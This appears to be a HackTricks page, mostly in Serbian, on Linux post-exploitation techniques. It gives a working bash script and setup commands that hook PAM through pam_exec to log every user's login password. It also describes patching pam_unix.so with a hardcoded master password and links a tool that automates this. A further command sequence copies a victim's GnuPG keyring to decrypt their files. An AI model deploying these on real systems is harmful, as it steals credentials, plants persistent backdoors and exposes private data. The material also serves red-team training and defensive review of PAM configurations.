Linux Post-Exploitation

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Sniffing Logon Passwords with PAM

Konfigurišimo PAM modul koji će beležiti svaku lozinku koju korisnik koristi za prijavu. Ako ne znate šta je PAM pogledajte:

PAM - Pluggable Authentication Modules

For further details check the original post. Ovo je samo rezime:

Pregled tehnike: Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za hvatanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.

Prikupljanje kredencijala:

  • Napravljen je bash skript pod imenom toomanysecrets.sh koji beleži pokušaje prijave, snimajući datum, korisničko ime ($PAM_USER), lozinku (preko stdin) i IP udaljenog hosta ($PAM_RHOST) u /var/log/toomanysecrets.log.
  • Skript je učinjen izvršnim i integrisan u PAM konfiguraciju (common-auth) koristeći pam_exec.so modul sa opcijama da radi tiho i da izloži token autentifikacije skriptu.
  • Pristup pokazuje kako kompromitovani Linux host može biti iskorišćen za diskretno beleženje kredencijala.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Za više detalja pogledajte original post. Ovo je samo rezime:

Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: username, password, i service. Konfiguracioni fajlovi za svaki service se nalaze u direktorijumu /etc/pam.d/, gde deljene biblioteke obrađuju autentifikaciju.

Cilj: Izmeniti PAM tako da dozvoli autentifikaciju sa specifičnom lozinkom, zaobilaženjem stvarne korisničke lozinke. Ovo je posebno fokusirano na deljenu biblioteku pam_unix.so koja se koristi od strane fajla common-auth, koji je uključen u skoro sve servise za verifikaciju lozinke.

Koraci za modifikaciju pam_unix.so:

  1. Pronađite direktivu za autentifikaciju u fajlu common-auth:
  • Linija odgovorna za proveru korisničkog password-a poziva pam_unix.so.
  1. Izmenite izvorni kod:
  • Dodajte uslovnu izjavu u izvorni fajl pam_unix_auth.c koja daje pristup ako se koristi unapred definisan password, u suprotnom nastavlja sa uobičajenim procesom autentifikacije.
  1. Rekompajlirajte i zamenite izmenjenu biblioteku pam_unix.so u odgovarajućem direktorijumu.
  2. Testiranje:
  • Pristup je dodeljen na različitim servisima (login, ssh, sudo, su, screensaver) sa unapred definisanim password-om, dok uobičajeni procesi autentifikacije ostaju nepromenjeni.

tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Dešifrovanje GPG loot putem relokacije homedir

Ako pronađete enkriptovani .gpg fajl i korisnikov ~/.gnupg folder (pubring, private-keys, trustdb), ali ne možete dešifrovati zbog permisija/zaključavanja GnuPG homedir-a, kopirajte keyring u lokaciju u koju se može pisati i koristite ga kao svoj GPG home.

Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može da čita/piše originalni homedir).

Tok rada:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Ako je materijal tajnog ključa prisutan u private-keys-v1.d, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks